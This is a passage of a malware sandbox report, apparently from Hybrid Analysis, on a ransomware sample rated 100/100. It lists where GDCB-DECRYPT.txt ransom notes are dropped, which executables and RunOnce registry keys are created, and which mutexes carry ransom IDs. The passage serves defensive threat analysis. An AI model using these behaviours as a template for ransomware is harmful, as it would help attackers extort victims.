sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\MSOCache\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\PerfLogs\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\PerfLogs\\Admin\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\Recovery\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\Recovery\\72d3f4c2-b53f-11e4-b6d9-9157ca704b30\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\xULUO\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\System Volume Information\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"C:\\Users\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%USERPROFILE%\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%USERPROFILE%\\AppData\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Application Data\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\GameExplorer\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\History\\History.IE5\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\10F7GL35\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\1SVLQMHC\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\QP9X04G5\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\Content.IE5\\W79M45Q8\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%TEMP%\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%TEMP%\\rary Internet Files\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%APPDATA%\\GDCB-DECRYPT.txt","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"path":"%APPDATA%\\Microsoft\\eqbnjv.exe","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-2092356043-4041700817-663127204-1001\\6f75b29c07ccbc2e6262b7083166375f_733c94c5-cebb-4f98-a75f-22a797d1d50b","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Temporary Internet Files\\counters.dat","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"C:","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{F5E5586C-DA91-47DA-AEAC-0A88CD2FFB01}","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"%WINDIR%\\System32\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\msctf.dll.mui","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%WINDIR%\\SysWOW64\\rsaenh.dll","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%APPDATA%\\Microsoft\\pufslz.exe","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-686412048-2446563785-1323799475-1001","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%APPDATA%\\Microsoft\\Crypto\\RSA\\S-1-5-21-686412048-2446563785-1323799475-1001\\0e71a7e33d70ce5f3cd7396f613e634c_6b06490d-f9fd-424c-8b6d-83edc4369e89","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{846EE342-7039-11DE-9D20-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{C3450F58-7060-4AEA-B0A0-C245927D78D0}","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%WINDIR%\\SysWOW64\\wshqos.dll","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%WINDIR%\\SysWOW64\\nslookup.exe","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"path":"%WINDIR%\\SysWOW64\\en-US\\nslookup.exe.mui","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}],"files_deleted":null},"registry_activity":{"keys_created":[{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASAPI32\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"key":"HKLM\\SOFTWARE\\MICROSOFT\\TRACING\\RASMANCS\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"key":"HKLM\\SYSTEM\\CURRENTCONTROLSET\\SERVICES\\TCPIP\\PARAMETERS\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{09477111-DE61-43CD-A5AA-D9F7B489301F}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\CONNECTIONS\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\RUNONCE\\","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{BEC4C9B2-A5E5-4548-AC4C-9A076EC5B199}\\","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{BEC4C9B2-A5E5-4548-AC4C-9A076EC5B199}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{33AAD629-D83F-4FBC-8D2F-FD1B2305E4FB}\\","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{33AAD629-D83F-4FBC-8D2F-FD1B2305E4FB}\\0A-00-27-00-00-00\\","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}],"keys_modified":null,"keys_deleted":[{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{BEC4C9B2-A5E5-4548-AC4C-9A076EC5B199}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\0A-00-27-00-00-00\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"key":"HKCU\\SOFTWARE\\MICROSOFT\\WINDOWS\\CURRENTVERSION\\INTERNET SETTINGS\\WPAD\\{33AAD629-D83F-4FBC-8D2F-FD1B2305E4FB}\\WPADDETECTEDURL\\WPADDETECTEDURL","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}]},"mutex_activity":{"mutex_created":[{"name":"\\Sessions\\1\\BaseNamedObjects\\IESQMMUTEX_0_208","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"firefox browser","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\c:!users!norzxoi!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\c:!users!norzxoi!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\c:!users!norzxoi!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Global\\pc_group=WORKGROUP&ransom_id=259a4fdc3766943","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\c:!users!norzxoi!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\firefox browser","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\pc_group=WORKGROUP&ransom_id=259a4fdc3766943","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\_!MSFTHISTORY!_","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!norzxoi!appdata!local!microsoft!windows!temporary internet files!content.ie5!","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!norzxoi!appdata!roaming!microsoft!windows!cookies!","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!norzxoi!appdata!local!microsoft!windows!history!history.ie5!","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetStartupMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetConnectionMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\WininetProxyRegistryMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\RasPbFile","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZoneAttributeCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\ZonesLockedCacheCounterMutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"},{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"},{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\!IETld!Mutex","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Local\\c:!users!norzxoi!appdata!roaming!microsoft!windows!ietldcache!","sources":[{"report_type":"sandbox","report_id":"5a6b090b7ca3e1485d08bbb3"}]},{"name":"Global\\pc_group=WORKGROUP&ransom_id=36db17d05f296033","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\pc_group=WORKGROUP&ransom_id=36db17d05f296033","sources":[{"report_type":"sandbox","report_id":"5a7ad9c37ca3e12a574297a6"}]},{"name":"\\Sessions\\1\\BaseNamedObjects\\Global\\pc_group=WORKGROUP&ransom_id=8bbff9405dbd9ffe","sources":[{"report_type":"sandbox","report_id":"5a6b31c87ca3e14448712f24"}]}]}},"report_ids":{"sandbox_job_ids":["5a7ad9c37ca3e12a574297a6","5a6b31c87ca3e14448712f24","5a6b090b7ca3e1485d08bbb3"]}}}]]}] 20:null 24:[["$","title","0",{"children":"Malicious Ransom_.ECD080A2 Sample 03d68025f52d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","1",{"name":"description","content":"Malicious verdict for sample 03d68025f52d…. Malware family: Ransom_.ECD080A2. Threat score 100/100. 24/27 AV engines flagged this file. 13 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","2",{"name":"robots","content":"index, follow"}],["$","link","3",{"rel":"canonical","href":"https://www.hybrid-analysis.com/sample/03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28"}],["$","meta","4",{"property":"og:title","content":"Malicious Ransom_.ECD080A2 Sample 03d68025f52d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","5",{"property":"og:description","content":"Malicious verdict for sample 03d68025f52d…. Malware family: Ransom_.ECD080A2. Threat score 100/100. 24/27 AV engines flagged this file. 13 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","meta","6",{"property":"og:url","content":"https://www.hybrid-analysis.com/sample/03d68025f52d0930a99a67264a3ddad43d0a8bc9ffa0503e603311a43da1ca28"}],["$","meta","7",{"name":"twitter:card","content":"summary"}],["$","meta","8",{"name":"twitter:title","content":"Malicious Ransom_.ECD080A2 Sample 03d68025f52d… — Score 100/100 — Hybrid Analysis | Hybrid Analysis"}],["$","meta","9",{"name":"twitter:description","content":"Malicious verdict for sample 03d68025f52d…. Malware family: Ransom_.ECD080A2. Threat score 100/100. 24/27 AV engines flagged this file. 13 malicious and 26 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports."}],["$","link","10",{"rel":"icon","href":"/favicon.svg"}],["$","$L2e","11",{}]]